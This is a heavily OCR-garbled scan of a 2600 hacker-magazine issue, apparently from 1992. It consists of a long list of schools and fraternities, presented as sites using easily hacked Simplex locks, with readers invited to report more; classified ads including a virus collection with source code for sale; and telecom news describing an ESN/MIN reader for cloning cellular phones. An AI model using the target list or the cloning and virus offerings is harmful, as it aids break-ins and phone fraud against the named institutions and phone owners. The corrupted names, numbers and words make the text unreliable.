Sheldon Community Schools; Sheldon. IA 
Williamsburg CommlHllty School Dlalrlct; Wlllla_burg. "" 
51. M.ry oI lhl Plaina College; Dodge City. KS 
Acacia Fraternity; Manh .... n. KS 
Kansas Stlte University; Manhattan. KS 
Sigma Phi Delta Fraternity; Mlnhattan, KS 
Sigma Alph. Epsilon; Manhattan. 1<11 
Wichita Slate Unlvenlity; Wlchlla. KS 
Wlchila Unlvonlity; Wlchlla. KS 
Frlonds University; Wichita. KS 
Union College; Birbourvlllo. ICY 
Centre Collegi of iCentucky; DanvlUe. KY 
Phi Bata Phi Sorority House; _ O� .. no, LA 
L.mbda Chi Alph. Fralemlty; New Orla ..... LA 
Bowdoin College; Brun.vlck, ME 
Unlvenlity 01 Maine; ""rmlnglon. ME 
The 8ryn Mawr School; Balllm"". MD 
P .. body 111II11ut. 01 M ..... ; Bakl""" •• MD 
John .. HopkJ .. Untvereltyi Baltimore, MD 
Loch Raven Sonlor High; Balilmore. MD 
81. Paul School lor Boys; Brooklilndvlllo. MD 
Unlvonlity 01 Maryland; CoIloge Park, MD 
Charles County Communlly College; L. Pi .... MD 
81. Mary's College 01 Maiylanct St. Maly'l. MD 
Selilbury Slalo CoIloge; Salilbury. MD 
Northe.ltern Untveraity; Bmton, MA 
Br.dford College; Bradlord. MA 
Z. B.T. Fr.lernlty; 8'-'lne. MA 
Radcliffe College; Cembridge. MA 
Harvard Unlve",lty; Cambridge. MA 
Harvard Dept. 01 Conllnulng EducaUon; cambridge. MA 
Boston Collogo; Cheilnul HII. MA 
Dean Junior CoIloge; franklin. MA 
Te.chlng Resources Corp.; Hingham. MA 
COlleg_ 01 Pure and Appllod Bele_a; IDMI� MA 
Tulia University; Medlord. MA 
St. Maries School; Soulhborough. MA 
Woslem New England Collage; Sp�nglleld. MA 
Colloge SI ..... _atlon; W.ltham. MA 
Wrentham Slate School; Wrenlham. MA 
Unlvonlity 01 Mlchlg.n; Ann Arbor. M I 
Phi Defta Phi Low Frlllrnlly; Ann Arbor. MI  
Phi  Alpha Kappe Frlllmlty; A n n  Arbor. MI  
University 01 Delroll; Delroll. MI  
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Michigan State U n iversity; East Lansing, M I  
Alpha P h i  Sorority; E a st  Lansing, MI 
Deha Chi Fraternity; Eest Lansing, MI  
Delt. Tau Delta; East Lansing, MI  
Phi  Mu Fratemlty; Eaet L.nslng, MI 
Phi Gamma Detta; Flint, MI 
Sigma Nu Fratemlty; flushing, MI 
Sigma Chi fraternity; Flushing, MI  
Calvin College; G r.nd Rapids, MI  
Grand Rapids Schools; G r.nd R.plds, MI  
Macomb County Community Collaoe; Mount Clemens. MI 
Michigan Christian Colloge; Rochester, MI 
Duns Scotus College; Southfield, MI 
University '" Minnesota; Mlnne.poI ls, MN 
Phi G.mma Delta; Mlnne.polls, MN 
Deha Kapp. Epsilon; Minneapolis, MN 
Alpha G.mma Rho; St. Paul, MN 
Belh ... n College; JaCkson, MS 
U niversity '" Mississippi; Unlversll'(, MS 
Southeast Missouri State U niversity; Cape G irardeau, MO 
Gamma Phi Beta; Columbia, Me 
Chi Omega Sorority; Kan .. s Cny, MO 
Pattonsburg R·" School; P.ttonsburg, MO 
School 01 the Ozarks; Point Lookout, MO 
Phi Kappa Theta Fratemll'(; Rolla, MO 
St. Louis U niversity; St. Louis, MO 
St. Louis University High School; St. louis, MO 
Webster College; SI. Louis, MO 
W.shington University; SI. louis, MO 
SI. louis CommuniI'( College ., Forest Park; SI. Louis, MO 
W.U. Medical School; St. Louis, MO 
Gamma Phi Beta Sorority; St. louis, MO 
Alpha Epsilon Phi Sororil'(; St. Louis, MO 
Phi XI &00'001'(; St. louis, MO 
PI Bet. Phi Sororll'(; St. Louis, MO 
Kapp. Kappa G.mm. Sororil'(; Sl Louis, MO 
Central Missouri State University; Warrensburg, MO 
Montana State University; Bozeman, MT 
Powder River County Disl. High School; Broadus. MT 
Sigma Phi epsilon; Keamey, N E  
Beta Sigma Psi: Uncoln, N E  
Theta C h i  Fraternil'(; Lincoln,  N E  
Alpha Delta P I  Sorool'(; L i ncol n ,  NE 
Beta Theta Phi; Lincoln, N E  
Alpha Tau Omeoa; Lincoln, N E  
Triangle Fraternity; Linooln, N E  
Creighton U niversjty; O maha, N E  
Omaha College r:A Health Careers; O ma ha, N E  
Platte V.lley Bible College; Scottsblull, N E  
Kappa Kappa Gamma Sorority; Tallahassee, NV 
University of New Hampshire; Durham, NH 
Notre Dame College; Manchester, NH 
Colby·Sawyer CoIlaoe; New London, NH 
Environmental Educatk>n Center; Basking Ridge, NJ 
Blair Academy; Bla lnown, NJ 
Center for Professional Advancement; East Brunswick, NJ 
Upsala College; East Orange, NJ 
Newark State College; Newark, NJ 
Essex County College; Newark, NJ 
College of Medicine and Dentistry of New Jersey; Newark. NJ 
Rider College; New Brunswick. NJ 

, -Rutgers U niverstty; New Brunswick. NJ 
Princeton Unwersity; Princeton, NJ 
Fairte6gh Dtckenson University; Rutherford, NJ 

' Seton Hafl U niversity; South Orange, NJ 
Mercer County Community College; Trenton, NJ 
UniversiW d New Mexico; Albuquerque, NM 
New MexiCO Highlands U n iversity; Las Vegas, NM 
Unlversjty d California; Los Alamos, N M  
Colloge of Baint Roee; Albany, NY 
Amerk:an School; APO, NY 

. Fordham University; Bronx, NY 
ManhlUan College; Bronx, NY 
SUNY Maritime College; Bronx, NY 
sarah Lawrence College; Bronxville,  NY 
,Klngsborough Community College; Brooklyn, NY 
-Long Island University!8rooklyn Center; Brooklyn, NY 
Brooklyn College; Brooklyn, NY 
Pi Kappa Phi Fraternity; Brooklyn, NY 
PI Beta Phi National Fraternity; Canton, NY 
SUNY College at Conland; Conland, NY 
SUNY at De l h i; De lhi,  NY 
Shaker J u nior High School; Delmar, NY 
Burr  Lane School; Dix Hi l ts, NY 

Elmira College; Elmira, NY 
Unlon-EndlcoH Central School District; Endicott, NY 
Queena College; Flushing, NY 
N .... u CommuniI'( Colloge; G.rden City, NY 
Harpursville Central School; Harpursville, NY 
Harrima n  Coltage; Harriman, NY 
Hofstr. Unlve",ll'(; Hempstead, NY 
Culinary Institute c:I America; HYde Park, NY 
Cornell U nivarsity; tthaca, NY 
Jamaica High School; Jamaica, NY 
Liverpool Central boots; Liverpool,  NY 
Henrick Hudson School Dlstrlel; Montrose, NY 
Planetarium State University College; New Paltz, NY 
The College Board; New York, NY 
New York Cil'( College '" Osteopathic Madlclno; New York, N Y  
Manhattan School o f  Printing; New York, NY 
College for Human Services; New York. NY 
SUNY .t Oneonta; Oneont., NY 
SUNY .t  Oswego; Oswego, N Y  
SUNV . t  Stony Brook; Stony Brook, NY 
CI.rkson College of  Technology; Potsd.m, NY 
M.rlst College; Poughkeepsie, NV 
V .... r College; Poughkeepsie, NV 
Richmond Hili High School; Richmond Hili, NY 
University of Rochester Medical Center; Rochester, NY 
Schenect.dy Counl'( Commun ity College; Schenectady, NY 
Sigma Phi Alpha 01 New york; Schenectady, NY 
Union College; Schenectady, NY 
Alpha Chi Rho; Syr.cuse, NY 
Delta Kappa Epsilon Fraternity; Syracuse, NY 
Phi Sigm. Sigma Sorority; Syracuse; NY 
Theta Tau Fraternity; Syracuse, NY 
Tau Epsilon Phi Fraternity; Syracuse, NY 
Sigma Delta Tau Sorority; Syracuse, NY 
Phi Kappa Alpha Fraternity; Syracuse, NY 
Zeta Beta Tau Fraternity; Syracuse, NY 
Chi Omega Sorority; Syracuse, NY 
New York Medical College; Valhalla, NY 
Board of Education-Damman House; White Plains. NY 
Windham, Ashland, Jewett Central School; Windham, NY 
Mars Hil l  Col lege; Mars Hi l l, NC 
Atlantic Christian College; Wilson, NC 
Nonh Carolina School d Ans; Winston -Salem, NC 
University of Nonh Dakota; Grand Forks, N D  
Pi Beta P h i ;  Grand Forks, N D  
Delta Zeta Sorority; Grand Forks. NO 
EAE Fraternity; Grand Forks, N O  
G a m m a  Phi  Be t a  Sorority; Grand Forks, N D  
Kappa Alpha Theta; G rand Forks, N O  
Lambda C h i  Alpha; G rand Forb, N O  
Delta Gamma Sorority; Grand Forks, N D  
Delta Delta Delta Fraternity; Grand Forks, N O  
Alpha Delta P i  Sorority; Akron, O H  
Lone Star Fraternity; Akron, O H  
Mount Hea lthy High School; Cincinnat i ,  O H  
Sigma Alpha Epsilon; Cinci nnati, OH 
Case Western Reserve Unwe rsity; Cleveland, OH 
Cleveland Institute d M usic; Cleveland, OH 
Alpha Epsilon Pi;  Colu mbus, OH 
Kappa Alpha Theta Sorority; Delaware, OH 
Columbus Academy, Gahanna, O H  
Detta Delta De lta Sorority; Granvi l le,  O H  
Delta Gamma Sorority; Granvil le,  O H  
U n iversa l  Orwing Schools; Toledo, OH 
Cuyahoga Community Col lege; Warrensvi l le. OH 
Otte rbe in Collaoe; Westerville,  OH 
College of Wooster; Wooster, OH 
Bethany High School; Bethany, OK 
Rogers State College; Claremore, OK 
E N  Fraternity; Norman, OK 
Sigma Nu Fraternity; Norman, OK 
Nonheast Oklahoma State U niveBity, Tahle q ua h ,  OK 
Tulsa U niversity; Tulsa, OK 
Clackal"'\8s Ed ucation Service Oistrict; Marylhurst, OR 
Blue Muu n t a i n  Community Colle ge ;  Pe ndleton, OR 
University of Portland; Portland ,  OR 
Willamette U n iveBjty; Salem, OR 
Cedar Crest Col lege; Allentown, PA 
Geneva College; Beaver Fal ls, PA 
Pennsy lva nia State U niveBity Behre nd College ;  Erie, PA. 
Messiah College; Grantham, PA 
Thiel  College; Greenv i l l e ,  PA 
Ha rrisburg Area Comm u n ity Col lege;  H a rrisburg, PA 
U n iversity of Pennsy lvania Vete rinary School; Kenne' Square, PA 
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Pennsylvania State University; McKeesport, PA 
Cumberland-Perry Area Vocational School; Mechanicsburg, PA 
Episcopal Academy; Merion, PA 
SpartansburG J unior College; Spartansburg, PA 
Blue Ridge School District; New Milford, PA 
St. Joseph College; Philadelph ia, PA 
Albert Einstein Growth " Development Cente" Philadelphia,  PA 
Philadelphia Board of education; Philadelphia, PA 
Ui Selle College; Philadelphia, PA 
Thoma. Jeflerson University; Phi ladelphia, PA 
The Madlcal College of Pennsylvania " Hospital; Philadelphia, PA 
University Of Pennsylvania; Philadelphia, PA 
University d Pittsburgh; Plnsburgh, PA 
Girard College; Pittsburgh, PA 
Cariow College; Pittsburgh, PA 
Gannon CoUege; Pittsburgh, PA 
Duquesne University; Pinsburgh, PA 
SI. Elizabeth H ig h  School; Pinsburgh, PA 
Triangle Fraternity; Plltsburgh, PA 
Sigma Chi Fratemlty; Pittsburgh, PA 
Albright College; Reading, PA 
Eastern College; St. Davids, PA 
Susquehanna University; Sellnsgl'OYe. PA 
Alpha Tau Omega Fratemlty; State College, PA 
SI. Michael'. School For Boys; West Pittston, PA 
Kings College; WlikesSar .. , PA 
University � Rhode Island; Kingston, RI 
Saint Georges School; Middletown, RI 
U.R. I .  Graduate School of eosanography; Narragansen, RI 
Brown University; Providence, RI 
Providence College; Providence, RI 
Rhode Island College; Providence, RI 
Madlcal University of South Carolina; Charieston, SC 
Baptl.t College; Charieston, SC 
Charieston Ballet College; Charleston, SC 
University d South Carolina; Columbia, SC 
Bob Jones University; Greenville, SC 
Coker College; Hartsville, SC 
Southem Miosionary COllege; COllegedale, TN 
Tenne ... e Technical University; Cookeville, TN 
Fisk University; Knoxville, TN 
Covenant College: Lookout Mountain, TN . 
Middle TenneSlle State University Library; Murfreesboro, TN 
Waltel"l State Community College; MorristeMfn, TN 
Chi Omega Sorority; N ashville, TN 
Alpha Epoilon PI Fratemlty; Nashville, TN 
Alpha Chi Omega; Arilngton, TX 
Uimbda Chi Alpha Fraternity; Austin, TX 
Zeta Poi Fraternity; Austin,  TX 
Texas Education Agency; Austin, TX 
PI Bata Phi Fraternity; Austin, TX 
Texas State Teachers Association; Austin, TX 
Texas AIlM Untversity; College Station, TX 
Chi Omega Fraternky; College Station, TX 
Texa. Christian University; Fort Worth, TX 
Blrdville Public School.; Fort Worth, TX 
Phi Gamma Delta Fratarnlty; Fort Worth, TX 

University of St. Thomas; Houston, TX 
Texas Womens U niversity; Houston, TX 
Schreiner College; Kerrville, TX 
Laredo J unior College; Laredo, TX 
Eastfield College; Mesquite, TX 
Oblate College of the SouthweSl; San Antonio, TX 
Austin College; Sherman, TX 
Utah State University; Logan, UT 
Kappa Kappa Gamma Sorority; Sen Lake City, UT 
Kappa Alpha Theta; San Lake City, UT 
Kappa Sigma Fraternity; San Uike City, UT 
University of Vermont; Burlington, VT 
Marlboro College; Marlboro, 'VT 
Green Mountain College; PouHney, VT 
Protestant Episcopal Theological Seminary I� Virginia; 
Alexandria, VA 
Dena Gamma Sorority; Blacksburg, VA 
Virginia Polytechnic Institute " State University; Blacksburg, VA 
University of Viroinla; Charlottesville, VA 
Kappa Delta Sorority; Charlottesville, VA 
Chi Omega fraternity; Charionesville, VA 
Hampton InSlitute; Hampton, VA 
Norfolk State U niversity; Norfolk, VA 
Virginia Wesleyan College; Norfolk, VA 
East Virginia Medical School; Norfolk, VA 
VPI &. State University; ReSlon, VA 
Virginia Commonwealth University; Richmond, VA 
College of Will iam It Mary; Williamsburg, VA 
Massanutten Academy; Woodstock, VA 
Central Washington S�te College; Ellensburg, WA 
Longview School Dist. " 22; longview, WA 
Washington State U n lversity/College of Pharmacy; Pullman, WA 
Seanle Public Schools; Seanl., WA 
Community Chapel and Bible Train ing Center; seattle, WA 
Clover Park VocaUonal School; Tacoma, WA 
Student Residence Center; Yakima, WA 
Georgetown U n iversity; Washington DC 
National Association for the Education of Young Children; 
Washington DC 
National Education Association; Washington DC 
National Science Teachers Association; Washington DC 
National Academy of Sciences; Washington DC 
Marshall U n iversity School of Medicine; Huntington, Wt/ 
West Virginia Unrverslty; Morgantown, WV 
West Uberty State College; West Liberty, WV 
University of Wisconsin; Madison, WI 
Phi Gamma Delta Fraternity; Madison, WI 
Gamma Phi Beta Sorority; �dison, WI 
Milwaukee Public Schools; Milwaukee, WI 
Arcade Drivers School; Mltwaukee, WI 
Racine Unified SChool District; Racine, WI 
University of Wyoming; Laramie, WY 
Pi Beta Phi Sorority; Laramie, Wi 
Tri Delta House; Laramie, W'( 
Kappa Kappa Gam ma; Laramie, WY 
Sheridan College; Sheridan, WY 

If you'd like more information on how incredibly easy it 

is to hack into Simplex locks, read the article on page 6 
of the Autumn 1 991 issue. And if you 're aware of any 

"high security " locations that use these locks, please let 

us (and your fellow readers) know! 

2600 
PO Box 99 

Middle Island, NY 1 1 953 
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2600 marketplace 
2688 M EETINGS: First Friday of the month at the 
Citicorp Center--from 5 to 8 pm in the lobby near the 
payphones. 153 E 53rd St., NYC, between Lexington 
and 3rd Avenues. Come by, drop off articles. ask 
questions. find the undercover agents. Call 5 16·75 1 · 
2600 for more info. Payphone numbers: 2 12·223· 
90 1 1 , 2 1 2·223-8927. 21 2-308-8044. 2 1 2-308-8 162. 
Washington DC meetings: In the Pentagon City mall 
from 5 to 8 pm on the first Friday of the month. San 
Francisco meetln",: At 4 Embarcadero P1aza (inside) 
from 5 to 8 pm on the first Friday of the month. 
Payphone numbers: 415-398-9803.4.5.6. 
FORM E R  U . S .  A R M Y  E L E C T RONIC 
WA RFARE TEC HNICIAN w ith TS clearance 
looking for surveillance worle which requires cunning. 
ingenuity. and skill. Prolocks of Atlantic City. Box 
1 769. Atlantic City, NJ 08404. 
FOR SALE: Compaq Portable 386DX w/6MB RAM. 
42MB HD. 1 .2 MB FD. 80387.  tape backup , 2 
expansion units, Ethernet board. VGA board, Hayes 
2400B' modem. Microsoft 400 DPI Mouse. DOS 5 .0. 
manual, diskettes, tapes. etc.  Virtually 
UNUSED-CPU still under warranty. $ 1666 or best 
offer. (215) 356-9033. 
TIN SHACK DDS (818) 992·3321. The BBS where 
hackers abound! Over a gig of files. many on-line 
games! Multi-line! 2600 Magazine readers get FREE 
elite access! 
WO U LD LIK E  TO T R A DE IDEAS with and 
befriend any fellow 2600 readers. Call Mike at 414-

458-6561 if interested. 
LOS ANGELES 26M MEETING: Friday June 5th. 

5 pm-8 pm at the Union Station. comer of Macy St. 
and Alameda. Inside main entrance by bank of phones. 
Payphone numbers: 2 1 3-972-9358, 9388, 9506. 95 19. 

9520; 21 3-625-9923. 9924; 21 3-614-9849. 9872. 9918. 

9926. 
GET PAID FOR YOUR SKILLS: Basil Rouland is a 
small entrepreneurial firm providing information 
system security services to the govemment and private 
organizations. We are aggressively expanding our 
service capabilities and we are looking for talented 
people to join our team. We are currently recruiting 
individuals for our penetration testing and other 
services. Specifically we are looking for people with 
security experience in VMS. MPE. Primos, and Unix. 
Those with techniques in denial of service. spoofmg. 
and other attacks via netwodcs are also encouraged to 
promptly send us a resume and cover letter. The ideal 
candidate should be willing to travel. energetic. and 
creative. Possible security clearance for those seeking 
long term positions. Basil Rouland Inc .• Suite 103, 

5809 Roxbury Pl . •  Virginia Beach, VA 23463. 

INTERESTED IN STARTING MONTHLY 26M 
MEETING IN ST. WUIS. Contact Brian Hampton 
at Snafu Software (61 8-234-263 1  data), user #348 

@6852 on VlRTUALNet or WWIVNet. 
GENUINE 6.5536 Mhz CRYSTALS only $5 each. 
Orders shipped postpaid via First Class Mail. Send 
payment with name and address to Electronic Design 
Systems, 144 West Eagle Road. Suite 108, Havertown, 
PA 19083. Also : information wanted on Northeast 
Electronic Co,!,', TTS-59A portable MF sender and 
TTS-2762R MF & Loop s ignalling display. Need 
manua ls. schematics ,  alignment & calibration 
instructions (or photocopies). Will reward fmder. 
I AM A NATIONAL M EMBER of the American 
Atheists and want to start . Phoenix chapter. If you're 
interested. contact me at: Don Smith. 1905 E Apache 
Blvd #21 . Tempe. AZ 85281 .  
FOR SALE: 45+ viruses for the IBM on one 3.5" disk 
at 1 .44M or less. Several with source code and 
documentation. Send $ 1 5  to R.Jones. 21 067 Jones­
Mill, Long Beach. Ms 39560. Please add $S for 
overseas deliveries. Supplied for educational purposes 
only. 
VIRUS/SECURITY PROCEEDINGS: 870 pages 
contains every speaker's paper from the 1992 "Ides of 
March" conference. Receive via U.S. Priority Mail for 
$ 1 00 prepaid check to: DPMA Financial Industries 
Chapter. Box 894. Wall Street Station. New York, NY 
1 0268. Also available AT NO CHARGE before June 
30 with registration for March 1 0- 1 2. 1993 6th 
International Virus and Security Conference (S tracks. 
91 speakers. 53 vendors) cooperatively aponsored by 
units of ACM. BCS, CMA. COS, DPMA, EDPAA. 
IEEE. ISSA: $425 member. $325 repeater. $450 

nonmember. 
COCOTS FOR SALE: Perfect worlcing condition, 
removed from service. Credit card only type. has card 
reader built into unit. DTMF. 12 number speed dial. 
$80 each plus $15  shipping. Call or write for info. Bill 
Rogers. 2030 E. Charleston Blvd., Las Vegas. NV 
89104. 8()()'869-8501 . (702) 382-7348. 

M a rket place a d s  a re fret' t o  

subscri bers!  Send � ou r  ad t o :  

26()() !\Ia rket p l a n.' ,  
PO Box 99, M i d d l e  I s la n d ,  

l\ Y  1 1 953. I n c l u de � ou r  

add ress label .  A d s  ma� he 

ed i t ed o r  not p ri n t ed at ou r 

d is(�ret i()n. Dea d l i n l' fo r 

S u m mer issue:  7 ,' J  /91 . 
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The Latest 
Big Brother 

As many have beard, the FBI has expressed an interest in 
"modernizing" digital phone systems by making remote 
surveillance a built�in feature. They insist that it's impossible 
for them to intercept phone calls made on digital systems. 1bis 
is UIIlrUe; all it requires is diffeteot equipment. If the FBI is able 
to succeed in convincing lawmakers that wiretapping is an 
endangered species, we will be faced with a mandatory 
surveillance feature in every telephone system. PenaJties for 
Don-compliance will be 8eYCfC. The dangers in this are obvious. 
Whereas in the put, it was a royal pain to get a wiretap going, 
with new technology it will be easy. Too easy. Surveillance will 
be obtainable remotely from a keyboard. While we can say that 
the same rules will apply insofar as getting court approval, etc " 
it doesn't take a genius to realize that there will be abuses. 
Monitoring phoDe i itx:s will become as easy as looking up 
somebody 's credit. We must keep a watchful eye ont for 
proposals like this one because once we accept them, it ' s  
virtually impossible t o  tum back. 

The Air Force is investing in S30,fXXJ fax tappers, each of 
which is capable of monitoring four phone l ines for 
"connnunications security violations". Every time a fax is sem: 
on o� of the lines, a copy is also sem: to a laptop computer. 
Forty of the machinc:s have been orde�d so far. Each of them is 
also capable of monitoring and stormg modem conununications. 

The United States government is claiming that notes kept 
on the White House computer system are oot records but merely 
private conversations. This claim would allow the governmem: 
to delete these notes forever. But researchers are saying that 
these notes comprise "real and uncensored" history as opposed 
to the official archives ,  which are l ike Disneyland in 
comparison. In January 1 989 . the National Security Archive. a 
private group that collects declassiflCd documents, wen!: to court 
to k<ep the White House computer system from being purged. 
In 1 986, much of the evidence: in the IwvCootta hearings came: 
frem messages in the White Houac: computer system. 

International News 
According to reports from Moscow, Russian phone rates 

are rising along with everything el", in the Commonwealth of 
Independent Stales, at the rate of about 1 ,500 percent. The coot 
to rent a residential phone will go from 2.5 rubles to 15 rubles, 
which is about 15 U.S. cellls. Long distance rate. are also going 
up. Local coils, which are currently unlimcd, are going to be 
billed at .05 rubles per minute . Businesses will also be 
encouraged to pay more than res idential customers. 
Internatimal pbooe rate. are 01'0 rising. For eumple, calls to 
Europe will Cott 4S ruble. per minute, up from six. Call. to the 
United State. coils will be between 200 and 300 ruble. a 
minuw, up from twelve. 

The Ukraine is also planning to in...,ue price. by up to 
600 pen:enL Price. have oIso goac: up dramatically in Estonia. 

Modems is Moscow now have to be registcn:d. Starting 
April 1 st, the Commercial Service of the Moscow City 
Te1ephoac: Netwod< �d sean:hing for uuregistcn:d modems. 
According to officials, approximately 1 00,000 modems are 
currently in use in Moscow . A general database is being 
compiled on modem owne ... 

Officials believe that companies running phone-based 
communicatioos networks and C<mlpanies that manufacture and 
sell modems will help to detect the "illegal" modems. 

Authorities are requesting that these companies submit their 
u.sc:r lists. 

According to sources, the violators won't be fined. 1bcy'l1 
simply be urged to sign a contract. Depending on what a 
company does and how it's financed. the cost for having a 
modem can range from 324 rubles a year to 50,<X>O rubles a 
year. So far, there is no set policy on modems owned by 
individual people. 

AT&T is planning to offer USA Direct service and 800 
numbers from the former Soviet Union. They also want to 
vastly increase the rwmbc:r of available lines, which have bc:cn 
known to fail over 90 percent of the time because of 
overcrowding. 

Sprint is now offering direct service to all fifteen of the 
fonner republics of the Soviet Union. The service uses the 
Intersputnik satellite and is routed through St. Petersborg. This 
is vastly superior to AT&T, which only offers service to two 
republics, Russia and Armenia. 

Yet another change to British area codes is in store. On 
Easter Sunday, April 3, 1994, an extra " I"  will be added after 
the "0" on every city code. For instance, London (which a 
couple of ycars ago was "01 "  from inside England, " I"  from 
outside) is now "07 1 "  or "08 1 "  from inside England and "71 "  or 
"81 "  from outside. In 1 994, it will become ''0 1 7 1 '' or "018 1 "  
and "171 " or "1 81 " respectively. Officials say, "1bis potential 
tenfold increase in the UK's number capacity will allow 
customers to take full advantage of the continuing development 
of Britain's releconununicatiOllJ industry." This "national code 
change" is not being made because of a shortage of phone 
numbers. Rather, the city codes themselves are in short suPJiy. 
No, thc� aren't more cities suddenly popping up. But there are 
all kinds of new services that require codes of various sorts. 
And of the original 1 ,000 codes, only 20 are left. British 
Telccc:m has set up a special nwnbcr for thoee people who ate 
confused: 0800-800-873. 0800, incidentally woo't be adding a 1 
in 1 994. Neither will 0898 or numbers belonging to mobile 
pbooes. 

In 1 987 the cable linking the United States and Cuba w""' 
out. Since then all calls have been by ndiotelepbooe. And, since 
the United States doesn't like Cuha, they've been refusing to 
pay Cub. their share of the revenue. Now, the State Deportment 
has decided to allow limited payments of what Cuha is owed to 
begin. This in tum will lead to the opening of a new uode"",. 
te1epbooe cable link. This is known as diplomacy. 

Jarael surprised everyooe by opening direct pbooe links to 
ten Arab countries, not all of which are thrilled to be getting 
called. The countries are Algeria, Bahrain, Jordan, Lebanon, 
Morocco, Qatar, Saudi Arabia, Tunis, United Arab Emirates, 
and Yemen. Call, were previously impossible except through 
foreign switchboards used by private companies. At least one 
country, Jordan, has promised to block incoming caU. from 
Israel. 

According to British papers, there is a prop<l8al to equip 
highways with bar codes .  By having bar codes at every 
inlersection, a car's on-board computer can instantly tell wbe!e 
the car is. People will never again get lost as the cemputer will 
always be able to tell them where to go. Temporary bar code 
mats can be placed on roads to warn of accidents or detours. (Of 
course, such mats could be plaoed by almost anyone! )  1'1>0 bar 
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codes can trigger all kinds of leactions. Since speed limits can 
be lead from them. your car can be pogrammed to either say 
s""",thing nasty to you or refuse to comply if you go above the 
speed limiL And, of course, the canpu1ler will be able 10 leU if 
you'le going the wrong way 00 a ODC�way street. 

Christian Democrats in Germany continue to press for a 
huge inclease in police powers, ODe that would allow cops to 
put bugs and video cameras in homes and, in some cases, adopt 
criminal tactics. They claim thia is needed to counter organized 
crime and left-wing terrorist groups. According to the Interior 
Minisler, Wolfgang Schauble, '1n the loog lenn we wal not be 
able to avoid using Ie<illlical metbods in people 's homes if we 
want to combat organized crime." 

In Australia, telephones ale once again being made with 
Ie""" that COITCSpond to the numbers. (They'YC been absent for 
over 2S years.)  1bc: ir system is identical to the American 
syslem, except that Q and Z shOw up on the 1 key, which for 
some reuon is blank hcle. 

Some new USA Direct numbers: China (near Shanghai): 
1 08 1 ,  Gibraltar: 8800, Guantanamo Bay: 935,  Ireland: 1 -800-
55()..OOO, LUxemhOurg: 0-800-01 1 1 , Nicaragua (Managua): 64, 
(outside Managua): 02-64, Poland (Warsaw) :  01 0480-01 1 1 ,  
(oullide Warsaw): 0·01 0-480-01 1 1 ,  POrlugal :  0501 7- 1 -288, 
Saipan: 235-2872, Saudi Arabia: 1 -800- 100; Spain: 900-99-00-
I I ,  TlIilocy: 9·9-8001 -2277, Yugoolavia: 99-38-001 1 . · meam 
you haw to get • second IODO before cOIlIinuing. 

Bell AdlDlic now offers . service called Connect �Quest. 
It'. for those buffoons who call directory uaislance and then 
dOD't haw a pen to wrile down the number. By prelling I , !bese 
poor aoul. can be connected direcdy 10 the nwnber they .. Io::d 
for unless. we preawne, it ' s  unlisted. It coats 30 cents on top of 
the cost for directory assistance and the call to the number itself. 
WhO says m"""y can't be made from laziness? 

New Technology 

A new service ia being introduced by AT&T that some 
may consider revolutionary. It's called Easy Reach and makes 
extensive usc of the 700 area code. For 57 a month, anyone can 
get a 700 number which can be progranuncd to ring any phone 
in the country (excluding Hawaii and Alaska). The advantages 
are obvious � a single telephone nwnbcr can follow you UOWld 
for you� ent'iK life, regardless of how many times you m�. 
Tbe disadvantages acream loucDy once this becomes expected 
behavior. 

The service is quite similar to Cable and Wireless '  
programmable 800 service , e xcept that it ' s  being  aime d 
primarily at consumers, not businesses. Easy Reach is morc 
sophisticated, providing options such as passwords for selected 
people , 10 that only their calls will be accepted. Up to 1 9  
separate passwords c an  be assigned to a single 7 00  rmmbcr. But 
Easy �ach will be far Ie .. secure than the Cable and Wireless 
service . Only four digits are needed to accesa programming 
features on !be AT&T service and you can do it direcdy from 
your O�700 number. Cable and Wireless makes you dial a 
separale 800 number, then enter lwei"" digits before you can do 
any programming. 

1be aervice will be available on June 15th. Rates for t1x 
calls are somewhat ex.pensive, at around 25 cents a minute 
during the day. What's particularly inleresting is that calls to the 
0-700 number apparendy will be either billed to the called party 
or the caller. Nobody at AT&T could lell us hOw the caUer will 
know who's paying for the cal l . And another disadvantage to 
this whole project is that many phone numbers may block 
access to all 700 nwnbers because of expens ive SC'rvices l ike 

Alliance Tc:leconferencing that can be abused 

For only $ 1 295 you can get an ESNIMIN reader. ESN 
stands for Electronic Serial Number and MIN is Mobile ID 
Number. Both of these are continuously transmitted by a 
cellular phone . Once this information is received it can be 
programmed into a PROM chip and uoed in another cellular 
phone and billed to the original phone. Curtis Electro Devices 
of Mountain View, California currently offers this device which 
undoubledly baa been the focus of some conlroYe .. y. 

New York has appro""d Caller ID with certain conditiooa, 
the most important of which is the ability for callers to conceal 
their idel1tilie., if they so chOose. The service will be introduced 
in smaller areas of the state, with large areas like New York. 
City getting it in a year or more. Richard Kessel, executive 
director of the New York State Consumer Proteotion Board, 
called Caller ID ". wolf in sheep's clothing." 

Speaking of leclmological upgrades, the 2600 central office 
is finally going to phase out its ancient crossbar switch and 
replace it with a brand new SESS digital switch. This me ... that 
our ring will sound just like everybody ellC ' s, as will Out busy 
signal. Customers throughout the area will ootice:: that their 
toucblDne phones DO longer cut the dialtone unless they pay an 
extortion fee , For mOlt consumers, the biggest deal will be that 
call waiting will finally be available. We can barely contain our 
excitement. 

Over the past fe w month s ,  various 2600 types have 
wandered into the central office to ICC just what's being done. 
(Since going in unannounced is the only way to get in at all, we 
bclieYe it ' s  justified o.stomcrs have the right to ICC how their 
phone l ine s are be ing managed . )  They took a bunch o f  
inleresting and revealing phOtoa before being kiclo:d out. 

We are certainly going to miss our old crossbar. Cut�r is 
scheduled for sometime be t w e e n  June and September, 
depending on who you believe . See if you can be the first to call 
us on the new switch. You can �ar our crossbar busy sisnaJ. 00 
5 1 1).751 -9970. A digital busy .igna! can be heard in another 
central office on 5 1 1).360-9970. When those two numbera sound 
the same, another mechanical switch will have birten the dust. 

NYNEX has started offering electronic yellow pages to its 
customers. I t ' s  the first of the Baby Bells to do this. For 61 
cents a minute, consumers can dial into the yellow pages and 
request l istings for particular types of busin use s .  If desired, 
theae listings can be for a particular zip code. Of course, when 

one peruses a phone book. it sometimes takes time to decide on 
the best nwnber to call, especially when looking for a business 
where the-rc are many competitors. Next time you look up a 
number in the real yellow pages, see how much you would have 
spent if you had been using the e lec tronic version. Then 
consider that you 've spent all  of this money and you haven't  
even made a phone call yet! Technology marches on. 

Screen-based telephones are be ing introduc;:ed in various 
places. TIle se  are phones that can also displ ay te xt for such 
services as bank transactions , schedule information, dirC'ctory 

assistanoe, or Caller ID. Ifs supposecDy the wave of the fuhlre. 

New York Telephooe baa been .. ing an aulomated bill ong 
information sySk'm for some: months now. By calling 800-698· 
3545, oruering a telephOne number and the Ihree digit c ode  thaI 
